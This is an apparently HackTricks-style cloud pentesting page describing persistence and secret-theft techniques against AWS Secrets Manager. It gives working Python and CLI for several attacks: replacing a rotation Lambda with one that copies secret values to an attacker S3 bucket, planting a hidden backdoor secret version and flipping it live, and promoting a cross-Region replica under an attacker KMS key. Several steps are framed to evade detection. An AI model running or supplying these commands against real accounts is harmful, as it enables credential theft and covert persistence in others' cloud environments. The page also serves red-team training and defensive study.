# AWS - Secrets Manager Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

For more info check:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### Via Resource Policies

It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.

### Via Secrets Rotate Lambda

To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.

This is how lambda code for such action could look like:

```python
import boto3

def rotate_secrets(event, context):
    # Create a Secrets Manager client
    client = boto3.client('secretsmanager')

    # Retrieve the current secret value
    secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

    # Rotate the secret by updating its value
    new_secret_value = rotate_secret(secret_value)
    client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
    # Perform the rotation logic here, e.g., generate a new password

    # Example: Generate a new password
    new_secret_value = generate_password()

    return new_secret_value

def generate_password():
    # Example: Generate a random password using the secrets module
    import secrets
    import string
    password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
    return password
```







### Swap the rotation Lambda to an attacker-controlled function via RotateSecret

Abuse `secretsmanager:RotateSecret` to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP).

- Requirements
  - Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
  - A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.

- Impact
  - The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.

- Attack steps (CLI)
  1) Prepare attacker sink and Lambda role
     - Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
  2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
  3) Rebind rotation and trigger
     - `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
  4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
  5) (Optional) Restore the original rotation Lambda to reduce detection.

- Example attacker Lambda (Python) exfiltrating to S3
  - Environment: `EXFIL_BUCKET=<bucket>`
  - Handler: `lambda_function.lambda_handler`

```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
    s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
    sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
    # Exfil both stages best-effort
    def getv(**kw):
        try:
            r = sm.get_secret_value(**kw)
            return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
        except Exception as e:
            return {'error': str(e)}
    current = getv(SecretId=sid, VersionStage='AWSCURRENT')
    pending = getv(SecretId=sid, VersionStage='AWSPENDING')
    key = f"{sid.replace(':','_')}/{step}/{token}.json"
    write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
    # Minimal rotation (optional): copy current->pending and promote in finishSecret
    # (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```

### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.

- Requirements
  - Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
  - Target secret id in the Region.

- Impact
  - Maintain a hidden, attacker-controlled version of a secret and atomically flip `AWSCURRENT` to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise.

- Attack steps (CLI)
  - Preparation
    - `export SECRET_ID=<target secret id or arn>`

<details>
<summary>CLI commands</summary>

```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
  --secret-id "$SECRET_ID" \
  --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
  --output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
  --secret-id "$SECRET_ID" \
  --client-request-token "$BACKTOK" \
  --secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$CUR" \
  --remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage ATTACKER \
  --move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$BACKTOK" \
  --remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$CUR" \
  --remove-from-version-id "$BACKTOK"
```

</details>

- Notes
  - When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.

- Requirements
  - Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
  - In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
  - An attacker principal (user/role) to receive read access to the promoted secret.

- Impact
  - Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.

- Attack (CLI)
  - Vars

```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```

1) Create attacker-controlled KMS key in replica Region

```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
  {"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
  --query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```

2) Replicate the secret to R2 using the attacker KMS key

```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
  --add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```

3) Promote the replica to standalone in R2

```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```

4) Attach permissive resource policy on the standalone secret in R2

```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```

5) Read the secret from the attacker principal in R2

```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}
